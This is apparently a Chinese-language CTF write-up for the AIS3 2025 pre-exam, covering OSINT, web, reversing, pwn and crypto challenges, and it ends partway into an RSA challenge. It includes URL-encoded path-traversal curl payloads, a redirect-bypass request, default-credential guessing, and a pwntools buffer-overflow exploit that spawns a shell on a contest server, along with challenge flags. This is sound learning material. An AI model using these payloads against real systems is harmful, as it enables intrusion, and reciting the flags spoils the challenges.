AIS3 2025 pre-exam

Before All

因為我手受傷所以不太能生腳本 基本上本篇的腳本都是我告訴AI解法AI生的又或者直接丟AI
然後write up 寫的跟大便一樣請見諒

Misc

welcome

image

Flag: AIS3{Welcome_And_Enjoy_The_CTF_!}

Ramen CTF

image

題目給了一張圖片

chal

看到桌子上的發票透過統編去查是哪家店
image
找到地址 丟到google map 得到
image
然後去找菜單 接著通靈出菜品

Flag: AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc

image

這題的解法 根據題目敘述 大概猜是Path Traversal

然後 發現不能…/…/…/…/去解 於是試 URL encode

image

payload

1
curl http://chals1.ais3.org:20395/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Freadable_flag_zFFgp4cs5vx0cK0ZFcW3dbd6yZ2Vl0H4

Flag: AIS3{tInY_we8_S3rV3R_w1TH_fIl3_8rOWs1n9_45_@_Fe4TuRe}

Web

Tomorin db 🐧

image

這題給了個Source

1
2
3
4
5
6
7
8
9
10
11
package main

import "net/http"

func main() {
	http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})
  	http.ListenAndServe(":30000", nil)
}

我看到

1
2
3
http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
  	})

當我們在url輸入/flag會redirect到

1
https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6

我們的目標是bypass這個
payload:

1
curl http://chals1.ais3.org:30000/.%2fflag

Flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Login Screen 1

image

solution 看到 普通人登入是guest/guest
盲猜admin是admin/admin
然後丟burp去bypass掉redirect to 2FA這個東東

image

Flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

Rev

web flag checker

image

這題給了wasm檔案

解法：把他decompile to C 然後 看code解

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 已知的驗證目標值（5 組 8-byte 值）
expected_longs = [
    7577352992956835434,
    7148661717033493303,
    -7081446828746089091 % (1 << 64),  # 轉為無符號 64-bit
    -7479441386887439825 % (1 << 64),
    8046961146294847270
]

# 對應的 shift_amounts 根據程式邏輯：(-39934163 >> (6 * index)) & 63
shift_amounts = [(-39934163 >> (6 * i)) & 63 for i in range(5)]

# 定義反向 rotate left 函式
def ror(val, r_bits, width=64):
    r_bits %= width
    return ((val >> r_bits) | (val << (width - r_bits))) & ((1 << width) - 1)

# 嘗試反推每段原始 8-byte block
decoded_bytes = b''
for val, shift in zip(expected_longs, shift_amounts):
    original = ror(val, shift)
    decoded_bytes += original.to_bytes(8, byteorder='little')

# 嘗試將結果解碼為 ASCII 字串
try:
    decoded_str = decoded_bytes.decode('utf-8')
except UnicodeDecodeError:
    decoded_str = decoded_bytes

decoded_str

Flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

AIS3 Tiny Server - Reverse

image

這題我丟ida看到個function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_BOOL4 __cdecl sub_1E20(int a1)
{
  unsigned int v1; // ecx
  char v2; // si
  char v3; // al
  int i; // eax
  char v5; // dl
  _BYTE v7[10]; // [esp+7h] [ebp-49h] BYREF
  _DWORD v8[11]; // [esp+12h] [ebp-3Eh]
  __int16 v9; // [esp+3Eh] [ebp-12h]

  v1 = 0;
  v2 = 51;
  v9 = 20;
  v3 = 114;
  v8[0] = 1480073267;
  v8[1] = 1197221906;
  v8[2] = 254628393;
  v8[3] = 920154;
  v8[4] = 1343445007;
  v8[5] = 874076697;
  v8[6] = 1127428440;
  v8[7] = 1510228243;
  v8[8] = 743978009;
  v8[9] = 54940467;
  v8[10] = 1246382110;
  qmemcpy(v7, "rikki_l0v3", sizeof(v7));
  while ( 1 )
  {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if ( v1 == 45 )
      break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
  }
  for ( i = 0; i != 45; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
    if ( !v5 || v5 != *((_BYTE *)v8 + i) )
      return 0;
  }
  return *(_BYTE *)(a1 + 45) == 0;
}

發現他是要解密

於是丟給GPT生code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Reverse Engineering Solver</title>
    <style>
        body {
            font-family: 'Courier New', monospace;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            background-color: #1a1a1a;
            color: #00ff00;
        }
        .container {
            background-color: #2a2a2a;
            padding: 20px;
            border-radius: 10px;
            border: 1px solid #00ff00;
        }
        h1 {
            text-align: center;
            color: #00ff41;
            text-shadow: 0 0 10px #00ff41;
        }
        .section {
            margin: 20px 0;
            padding: 15px;
            background-color: #333;
            border-radius: 5px;
            border-left: 4px solid #00ff00;
        }
        .hex-display {
            font-family: monospace;
            background-color: #1a1a1a;
            padding: 10px;
            border-radius: 5px;
            overflow-x: auto;
            word-break: break-all;
        }
        .result {
            font-size: 18px;
            font-weight: bold;
            color: #ffff00;
            text-shadow: 0 0 5px #ffff00;
            background-color: #2a2a2a;
            padding: 15px;
            border-radius: 5px;
            border: 2px solid #ffff00;
        }
        button {
            background-color: #00ff00;
            color: #000;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
            font-weight: bold;
        }
        button:hover {
            background-color: #00cc00;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>🔓 Reverse Engineering Solver</h1>
        
        <div class="section">
            <h3>Analysis:</h3>
            <p>This function implements XOR decryption using the key "rikki_l0v3" and validates input against the decrypted string.</p>
            <button onclick="solveChallenge()">🚀 Solve Challenge</button>
        </div>

        <div class="section">
            <h3>Encrypted Data (v8 array):</h3>
            <div class="hex-display" id="encryptedData"></div>
        </div>

        <div class="section">
            <h3>XOR Key:</h3>
            <div class="hex-display" id="xorKey"></div>
        </div>

        <div class="section">
            <h3>Decryption Process:</h3>
            <div class="hex-display" id="decryptionProcess"></div>
        </div>

        <div class="section">
            <h3>🎯 Solution:</h3>
            <div class="result" id="solution">Click "Solve Challenge" to reveal the answer</div>
        </div>
    </div>

    <script>
        function solveChallenge() {
            // Original encrypted data from v8 array (as 32-bit integers)
            const v8_ints = [
                1480073267, 1197221906, 254628393, 920154,
                1343445007, 874076697, 1127428440, 1510228243,
                743978009, 54940467, 1246382110
            ];
            
            // Convert 32-bit integers to bytes (little-endian)
            let encryptedBytes = [];
            for (let i = 0; i < v8_ints.length; i++) {
                let val = v8_ints[i];
                encryptedBytes.push(val & 0xFF);
                encryptedBytes.push((val >> 8) & 0xFF);
                encryptedBytes.push((val >> 16) & 0xFF);
                encryptedBytes.push((val >> 24) & 0xFF);
            }
            
            console.log("Total encrypted bytes available:", encryptedBytes.length);
            
            // The v8 array actually only has 44 bytes, but algorithm tries to access 45
            // We need to handle this carefully based on the actual assembly code
            
            // XOR key
            const key = "rikki_l0v3";
            
            // Display encrypted data
            document.getElementById('encryptedData').innerHTML = 
                encryptedBytes.map((b, i) => `[${i.toString().padStart(2, '0')}] 0x${b.toString(16).padStart(2, '0').toUpperCase()}`).join(' ') +
                `<br><strong>Note: Only ${encryptedBytes.length} bytes available in v8 array</strong>`;
            
            // Display XOR key
            document.getElementById('xorKey').innerHTML = 
                `"${key}" = ` + Array.from(key).map((c, i) => `[${i}] 0x${c.charCodeAt(0).toString(16).padStart(2, '0').toUpperCase()}`).join(' ');
            
            // Simulate the XOR decryption algorithm - but only for available bytes
            let decrypted = [];
            let v1 = 0;
            let v2 = 51; // Initial value
            let v3 = 114; // Initial value (ASCII 'r')
            
            let processSteps = [];
            
            // The algorithm in the original code has a bug/feature - it tries to access 45 bytes
            // but v8 only contains 44. Let's see what happens with the available data
            while (v1 < encryptedBytes.length) {
                // XOR operation: v2 ^ v3
                decrypted[v1] = v2 ^ v3;
                processSteps.push(`Step ${v1 + 1}: 0x${v2.toString(16).padStart(2, '0')} ^ 0x${v3.toString(16).padStart(2, '0')} = 0x${decrypted[v1].toString(16).padStart(2, '0')} ('${String.fromCharCode(decrypted[v1])}')`);
                
                v1++;
                if (v1 >= encryptedBytes.length) break;
                
                // Update for next iteration
                v2 = encryptedBytes[v1];
                v3 = key.charCodeAt(v1 % 10);
            }
            
            // Convert to string
            const result = String.fromCharCode(...decrypted);
            
            // Display decryption process
            document.getElementById('decryptionProcess').innerHTML = 
                processSteps.join('<br>') + 
                '<br><br><strong>Decrypted characters:</strong><br>"' + result + '"';
            
            // Display final result with analysis
            document.getElementById('solution').innerHTML = `
                <strong>Partial decrypted string (${result.length} chars):</strong><br>
                "${result}"<br><br>
                <strong>Analysis:</strong><br>
                • The v8 array only contains ${encryptedBytes.length} bytes<br>
                • The algorithm expects to process 45 bytes<br>
                • This suggests either:<br>
                &nbsp;&nbsp;1. There's missing data in the v8 array<br>
                &nbsp;&nbsp;2. The string is actually ${encryptedBytes.length} characters long<br>
                &nbsp;&nbsp;3. The last byte might be handled differently<br><br>
                <strong>Current result looks like:</strong> "${result}"
            `;
        }
    </script>
</body>
</html>

然後AI直接幹出一個web給我
image

Flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

PWN

Welcome to the World of Ave Mujica🌙

image

這題我發現是BOF
然後function Welcome_to_the_world_of_Ave_Mujica
裡有/bin/sh 可以執行RCE
image
找到他的address 以及算好offest就可以了
exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'

addr = 4198998

r = remote("chals1.ais3.org", 60592)


r.recvuntil(b"?")
r.sendline(b"yes")
r.recvuntil(b":")
r.sendline(b"-1")
offest = 168
payload = flat({
        offest: p64(addr)
})

r.sendline(payload)
r.interactive()

Flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)…Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)…_75f6bacc2a893aef52fa73055ef4b769}

Crypto

Stream

image

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
from random import getrandbits
import os
from hashlib import sha512
from flag import flag

def hexor(a: bytes, b: int):
    return hex(int.from_bytes(a)^b**2)

for i in range(80):
    print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))

print(hexor(flag, getrandbits(256)))

output.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
0xc900d26d54a60819abf46f3380bdc0d4b29d16bfde908e824f67ddc9d1f945a9e252deaf60dc7336c7efd5f7e11e943bdb9d8484254e3e4bf228e676e692ab97
0xde3b466a251b242d8aa7a3d9e1b7a3aeeb448046c3e4031a450b9696b24c727a501b85705da2e6d6f2c86595dea48ef7cafb90210710d7cab7f1b02a64a901d4
0x3ab2da84cc847a12a5462e9a31137e3b0c5f7018900a3db69b7aa2d41b0f1e40478938272c5d85c7c936f4f6cdafdb8687c8799a88f6c464afd2807714da68bf
0xadbbc76078f7acb63fdf07d62b3bd94fe3e6930f564d00be80524128815497175f2486688cfb9ce6dd2eb9b2eb1e51b525b3585d0346681c149f1572cb79e3f5
0x86afb3b73732fe0ebd38cc5769af4fac9e31427b741f33e1c327515ef2cfee3ade47961635b7eaa110dc0d877e5c46936de7bff8be2aa2daa3fba5def6579831
0xe112d5bea5cadc936a2dd0c85ae67658f7f87b3dc13f8ab755554f079217ce7ea41efaca530eaf0e088cb88637fa2b8cf29a723356f075327d1576f7091b448b
0x1d3185626f99b7550d5fd19a7bcb4f8de74698f81f296c775bc9c15285450e967420f3801b6461f3b15ce2086f5879e9a9e121d541018f002c9ed0d05942dd63
0x84f2e94b23070c6161d9e6e0f6dbb7faa42ab7928e4978a43e6ef493c9901dc43a81eacb54bcb05d34e46cf4287f2178b71eb49004d43762f7c3484bf02a6447
0xe9566fe150a99727b17288c779f46f3baadd56695ab5eb35d4c886e125ce64bebe78603b66dd22d88f555d2c8cae383589b83f546a4c3a7ce686cb315f5bd3f8
0xa9a0389d8df00c0d23cd66dd79e828c3148fbad59491b4398b0cea3b157369bf9d3e70e2e3067a03fc6f86bb34ff49ce9e3a870e32dbc467bf99d1bccde17b08
0x2067e2d0636d2dbbed9c4e7fd25c3cfa37b09906259cdff7cf445d43a64bbddf7fd5cbf1ac8ba160b503286b68ba80ead84c5164506efef8936b546ce8683307
0xa347e78fc8d94918647efbff87d845d5a68784711da14d1c2a88ad75fdb58ce61d58f5942dc6660fed59e3e77f5654b904a06fd6621a512092d92fe741e989f2
0x87d343e401be8f8092166341573765195ddb664c979e95b02b152608aa1916ae227f0656355aa6890ac4a7358c29489e5f6eda7afd877c4408acf33519119a95
0xd4b764ec5869c0ada5a12151baa9154f71b9b7a6d354841a2032601d645ef2d9189bf6f13733dabb15e2ff868e13d346eececd9505ab79ca38e69cc105652e26
0x7c97c99c7d28d4be27bb396ed8c56f5c7fa9ba193d13242df920f778e56d8d16e82a83dc9285955383d99920937da0ba2774db5272479f9a9c65c909baac2585
0x6f8031caf05f0c26cf256b6a9e0c539cd633091a5e1ca5eeb91eceb161554f172c3de0f25cc0fd18a8bec2949adecf26d178cd0c03a961710487d56bd99b7156
0xae1a117315554766302df767573c064d701f59159fb6e1f7141b06cf9b54f598fd0d1a8d21a9824b2be02f8d50914afac459b6f56f6436787508a350849b9df3
0xe7e67533f4cbe2bd47f94e612e90adb557957fcf3cdf6fe8f14df741a031ebf630bf6fe80db8217b5fb6c58d069dbcba211f9e1e23b8c2870cc3861d54486d98
0xd263aa7b9db645ec0a010b3f96aeac5dc9a5a5e47e05a8f4b73de480a4433e1829494cac74ea088957244f1fcfbea18a69ed15f3ea4b560abbee194ad4ef498d
0x46513dfeb51a7319b7aed4ed4a189fafa2da0cdb3e238939a7425dcc073042c13e34ad37cf4100a8ec8c6b8caf293e0d75832643b416ca00ecebc480859041e7
0x2747f354aaf1f9dff32533554386dff095eded2695a69cdcd45ceab5c3e49391d2fe2733446cffcc9e50dbf432ef5caeeb9d15ec044691b2ccfb2fe9fab2ca6
0x5ae6a1b63447875395db12f57769eb456033c707867c545acf99c1d5d24e156e37482e383af373ae73b6241a6bc8952360584bbe588d62fd767eef2dfc285b60
0x2064b0afba99fa1fc5acf4430079bfd02f2c72617b59e1f1a2a0f7b4c4202b55f9426fd3d942ce4d1a1cd600f0320bc657d9cbafaecf54505c148714c24c94de
0xd89b90cb28b7184e5e979927280fa3fc4f01639116e9b349207578f5c6cbc099ce8e428666fc625b798a649ac5f485ff7ba7e6cfba64fc870d1d83ae92e69187
0x37cafd0d2869764df3cccd1b085ca808f2a0528005fab139d89d159aeb981251afb3095ce1b5d7b64787698df79ecc994dd133a0904794b6c8daf4c321892854
0x2e9752a44c20907d8d700aa0cccb9ef8443669f092879b93799073518ba48941272df651a61a6fab9f568199660f8e30833cb7204b22d2cd619cd3ac4ab31b71
0xb572d23e92df1287034aac9243430cb2736bc4682b6c007b1eb13799078af0aa99c115a4668ba86929c60ee1b2dc076899c75caecd2e6ba586ce67c8e946859b
0x76faaa77020e30bdbadafa012c6e0d226cbacf7484d36d034288e6e3c5b85df1f3d3a61cf1feaf98db83e5f9d4aba838334c6c2ae3487db3dd98a6a43b70f481
0x7db1cfa5f512c6038f6fe7f5899caada064afd461276919fd028f2c908359ecc4f949ead8e334e2751f0b8c33b077c1d9f5a0c8d953e405eba2aa91ca1c3db08
0xc61000b50d6322307101939f2497a6449300f5a31b5d58f1b3e7d950fb9192de0c9b870be23c5cbb2bb550dda01d87bdc3f0e1a2866b408db867e8123935cc10
0xf32100d74bed26878f0200f326efc3ebc05310168557fc13dd37f289d0379106ab9d5c4450446b375b0202d1ee38e1a03f8404150d5cfa427fce6a21eea7f76a
0xdf1f0194a4408fcae290d14c8f9e202b88c38698a376048dad8abcdb6b5419b7e222d48400d47290acd7e6a53850cb588f7e4f767d15b96f3e7dfe8320645783
0x14fbc427e4688b30b63bb4d09e573fd8d282d259cd6ad77c7c527cc82e698c9bc9235314a57d6a23890234b4c9a33d658be33972a671717940157de1598c914b
0xc5caedf9a5144d2e15d7ec308bdd40516aaaffcfedc24a6f3113ca3e1f3028bd8dd2726cea593b1386622c073ba80ac8bad790c3ec8917c386b78270c0ce9759
0xd97838b4e488c3fffe6e048097642259885d05d570c586c73ea3375c5ef1600a926cb9c42d8e8bab10b7cdd2ccc646e9c781cce8a5d9f795e3c674afd1201ece
0x64b1888acf279c92082310b73294f743ed68c9d31ddd8093ef2c9b496f4aba095cb1ea749b66f453c2f064a683ef51b74174e05c5a290a8c5ade7eb09485b83b
0xcb43a37eb4b441e57f67d640322514b94799de063974341b44e0cc8cf0c11de55212767aef9922b160033cd4782a38c19d18f16c103244c2460c10674d8c3692
0x6647015e60ab13f33eb4062d23957b7a896649b4455955b403d7fb0d734933ec7d90104acff9c1c9ad44ec96896468e80b7624f1d9f5e8f610a9363090ca5dcf
0xf4edc02162b79c3a076896524bdcfcf01ce9723f0dfc3b75c0223ea204904cf1d46909cc31e7af972e101d29f04ff6073a6800782c932c5780bbc45925b3a338
0x71f3a9b923fd806cd3fcfb032e7bb4dbe155f71988a44dca4bdef9920d078499d45e4846689d955e73a4ae9a7940e3a307baddfb3cc5ba14cabfca386b0fbb97
0x56378186708447e83a5a5fe951555eedbfd974936a1696acbf8bed6f3c302ffa0a5bf4ca6f497418ce5bdaee60adaccff721cb21fd03f64f3d147fc5884b5b63
0xdd9d3ba2a9f3017172fb52822e9e3b171e8923c443284623e60f07c27f5d8ceb171b44a02b8df16afb1eeed39049903b81fbdaf1abdda0fbdfc861b1e13e58d4
0xef96e850fb5e825092208779ee67b5f10928c1033d9d1ff88c9fd9f90159629c83551e3dab6eb18a8e7eb8e00231fdd51b28cfdd7943324d94fcb47c9960560e
0x1a7facf00ec52eb0520af7ee61744a480ba994b9dc8a631573b2333b51c669a8a23296bd38cc51473418e727e475d3c07a9ded0e1f9eb2c05fccc96135fa9a1b
0x273b0412a9350581b0c7ac60d52b6dc1981fe95fd25eed6c863855c8900cad01f617b507c53b6956c751413158aca2d16980108f0a32068dc2dfede848c27e26
0xdaf1d899a1f7549d4d9ec6eea5567d30c81479dcdb5e4b06d19dbdc89044cb4b4ef5acce70ccd147094c288e42a3724a7b6d58dc8079342e535b241d230a8bdb
0xcad775db8d48719aa8f1fbf61286205c01371a289b9d40e757b5d3dfa316a2497299b1b74b59d187d2c9a9bbc0065fd7c8b72833c94677edcf2e23509bf90b02
0xbd1a4647fb9e06f438940481ef10569e8dd91b1ec57e4f2ef6a985bafc67599756f000b53af4d9b1188b68671ebbcb752ebcb93f7e06400202f6373162cbb9c5
0xfd61125e1564f8bf0c8b79975d1d2cb4349e8074741dc1585778bd65118e3082451d2f751249f715f7366bcec3e565253b8632e8f0bf31e3d1c76ee9b3a9aba6
0xfadf0f2aef8fd73aded670c064d7289bb0244400552fecb0af8ef0218a83934400f76c0fdd764b03009ba0fafab5b4d0b24ff865dac7d862c85c752fcfb7bb01
0xa5ad23b6043ccb4c62381e7f90f96560c39a81fe5864e6add17f24bedff0c269a4a7ca985bdcb70bd85ad23fdb55b442f35a8c787d9b5c77487c914f1a86073b
0x9e0d1dfd6ab52906d990ff0271a5c43c0a51b11eb750bfe5576f7574324bb5327f613812b206bda824a845cd16284d479cebb446f2d9d913b156ae261e8e755b
0xcb32f70522b40098fad93f25d80ef3829cae48ef29ccd4536e7e34119b88cd695366b862c8f4ba2e4bda37e63d05a0c85e68800a21d0ec9d79c978dab0d2260
0x2c236cd72a56fb25bf22e8c50c5558a717397a8e6d2d64e27695afa0f4d1594b861262c5c77acd031ce165136252abab8827b385353af14a16796b3be139881d
0x58e1a38f36c0cdfa3816773901dbffb3bb44964ee4d46d593ea63929330e56883ea9f841a7ef7bb94dfd60b1ba7fd4dac1812f9333c54bcd22b9225f53503b2e
0xfb4d26c48c94c48b58376fb50503d083a37edfdefa41f337e4dfa84ba193a4f4354caeb564ee2d621ed5816b15c07ad74b80ecaca8e894070304d34c82c1bf57
0x81d6801a3e662af7e162a9e56684b33a6cf06f58c1f96875979dc5be50e4ed37e6488d184466af709266736753dc83c7fc1ff47e759075b16c150c5d5da2f509
0x8a4667c3c7d80ad0724da4890f1dcc220181241828dc0267c1bddf33a270a2600bd45fb7ff34e3aca03237bd7b5e15afb5bcc5b02a0ac9381479ecf5d15cb5d5
0xa96bfce019b64e761f64b65787db87f44225a11f8875b27e583f57df1e0a861a4d30aa9798aec50e961580fcf5c42e7c8fad2df82e87fb113f130ac723b94308
0x97444773e742e042f13f76419ea1de450984c95974a5540fb95785fb87465eec3cb6df6ef4468303f9c5d1fb0be7b7e77beee5268a95050f7a8fcd9a41fa98d5
0xef885b3c2e23cfac6b212c3b27b76d44a1df304630e7ed64d1ccf46cf13d403188aade2116b731976d857c9f18e91113ceefc20072ac4bff27973ee8acde0c90
0xbbc066631aa2ae3cabd5e881c0a6d63d009e63d02f2838e10b0e69de0eb97c9c7dd5290e7b11be2c76a6a01506a8585c66d85ea654607cbaf8631645ea38cc88
0xe7359109062cd0afa3a6f0abcc9f1c50585a612bfadf9e269566217ebdd2a1709525f50bc25dbde2c1f2379630204b90c4597326dfda75de097ab2541dc38628
0x1d79beee7a6ce0816c8f71ef63ea49499eebd65a83d08d02e71f66351eaac8c3feec506845633e2b9fd68a39f6b410ca76dabd4060b01e83f9b9c16d6bcc6493
0xaff3235d4d594d1b97043e0e581c3d01dae1c81cea09e27b188babb754af3e92e8d10e8cf12d651955b6947667ce433c9c0adc4c50d4d76ea9f6aa4b3aaf2640
0xe9331ca2c86271ccad079af466e374d6a37fda372802ed6d221d146a8bf9b7326345086798912b3d127ac5339e52b86e24a525ca1102d590a3be2103f00a6f1f
0x8d2e55db65273f37a332c9fc093f9e994f9b90d8404a079f2ef7f6e0e50cde784e75892fbd8c913702881fb2e3e42e85a864279b54b016315a9adf0fcf7b564f
0xc345c28ace3881e64e2e1ae95243525e02899aac91144566128c18f02fbdb298695b8e5a6cdd7b05f63dafd29510c72d86b7f24e066e5afe5325e39b4fd53940
0x85e5455187588113897ef2e0fd12dd45c4efaa194151bab00fb59d0d5d985d53b5448d4a6805a61a83f06c31c0813b02e5b17344e528fbbfa49213f2649cef85
0xffe7040129e4dfc76b2fd07d4c4d4e111ab0845df2eecb5b911b29a4b5bf4f29afd9c68412880a33df31df25d38cd5961051c29a12b9de53e3d063509fd6cea5
0xd9eab537bd368ba6a9852477cdf5259d0620153ca955f11732cc893ff80a75f1f74504a734309e640136c0838a5bb4b4d06f03cad3d73f2f643120a037e39f3e
0x6b28f04074b7f6a851adf204200fca8243e2320187a741bf96fe84ca8c24ffbbdd01e081e3b3339ea6bdf985c236c0e9b2cf04f325ae5e9e4dcdf2358921de2c
0xf5f790d884bc2d0fc09aeb2b3fcbf09a822b103cfb4d94d766aea164e9bfad66fb8f1b2e444c51654c5e5929c987e83d86c870da98a556daa8bedecad880dd3d
0xf0fbe914507735a5276d18915fd9ceca3131751f127ebfc1c702b48a88a380da3d6f3ea0f11b4ef29a74e30e453055709f4b72ad9544a416e943f86922c94756
0xbf1a577e6d058e889b889f38956c9193fa4e05b6f90710ab9b1c874148eb1e20af7f94bd89e55a3746632e7494455f514b5da4b7668320f2944397c649a909e1
0x7448eaa76b77f33c797851bc7d286aa8ae6219dfc4e19e10c67eb3208cc83ddbf69fc2437402aa5dea24575d8f483773a43cc6ac43b2877af963b20bad69db62
0x4e083b89f70ccc4aecb66cea0727495fc66e969740b75773decc78600a699c38d53135f1a74b6b482f8dfea17b73bce4a9acdfdefc5c5eec4d5c2c70104bec23
0x5afa4ad4ed1fc420b7197628a0f6a0f217e35df0271ab479e6da81a89a98bf3ab99824cbcd25cfa70ad519892bf1732cd9d6531b674e6d74a29a50536a9367ca
0x43bbb59ba1e81e008cbf7b11fdc9f9d67bd9fb38326506677ce60a433e04d263842eda67fa4f1e3976c313d10f7e10787756b2d8c50b18a79364ece618673cf6
0x72d50bce515d48c9bbdf37ef81be93ddc742fc92880ac9c9307cc2a09ba83e1510d5f1c860beae1a62c1123490cc20a12993ca9a13410381cc17e453a03423a7
0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694

但根據code 前面80行都沒屁用 於是只要最後一行就好

1
0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694

也就是這個
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import math

def solve_flag_challenge():
    # The hexadecimal output provided in the challenge
    c_hex = "0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694"

    # 1. Convert the output hex to an integer (C_int)
    c_int = int(c_hex, 16)
    # print(f"C_int: {c_int}")
    # print(f"C_int bit_length: {c_int.bit_length()}")

    # 2. Calculate the integer square root of C_int (our R_guess)
    # This assumes R_flag = isqrt(C_int)
    r_guess = math.isqrt(c_int)
    # print(f"R_guess: {r_guess}")
    # print(f"R_guess bit_length: {r_guess.bit_length()}") # Should be 256

    # 3. Calculate K_guess = R_guess^2
    k_guess = r_guess**2
    # print(f"K_guess: {k_guess}")

    # 4. Calculate the integer representation of the flag (F_int_guess)
    # F_int = C_int ^ K_guess (because C_int = F_int ^ K_guess)
    f_int_guess = c_int ^ k_guess
    # print(f"F_int_guess: {f_int_guess}")
    # print(f"F_int_guess bit_length: {f_int_guess.bit_length()}")

    # 5. Convert F_int_guess to bytes and then to an ASCII string
    # Calculate the number of bytes needed for F_int_guess
    num_bytes = (f_int_guess.bit_length() + 7) // 8
    if f_int_guess == 0: # Handle case where f_int_guess might be 0
        num_bytes = 1

    f_bytes_guess = f_int_guess.to_bytes(num_bytes, 'big')

    try:
        recovered_flag = f_bytes_guess.decode('ascii')
        print(f"Recovered flag: {recovered_flag}")
    except UnicodeDecodeError:
        print(f"Could not decode the result as ASCII. Bytes: {f_bytes_guess}")
        print("The hypothesis might be incorrect, or the flag is not pure ASCII.")

if __name__ == "__main__":
    solve_flag_challenge()

Random_RSA

image

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime

FLAG = b"AIS3{Fake_FLAG}"

a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)

rng = lambda x: (a*x + b) % m


def genPrime(x):
    x = rng(x)
    k=0
    while not(is_prime(x)):
        x = rng(x)
    return x

p = genPrime(seed)
q = genPrime(p)

n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)

# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)

with open("output.txt", "w") as f:
    f.write(f"h0 = {h0}\n")
    f.write(f"h1 = {h1}\n")
    f.write(f"h2 = {h2}\n")
    f.write(f"M = {m}\n")
    f.write(f"n = {n}\n")
    f.write(f"e = {e}\n")
    f.write(f"c = {c}\n")

output.txt

1
2
3
4
5
6
7
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
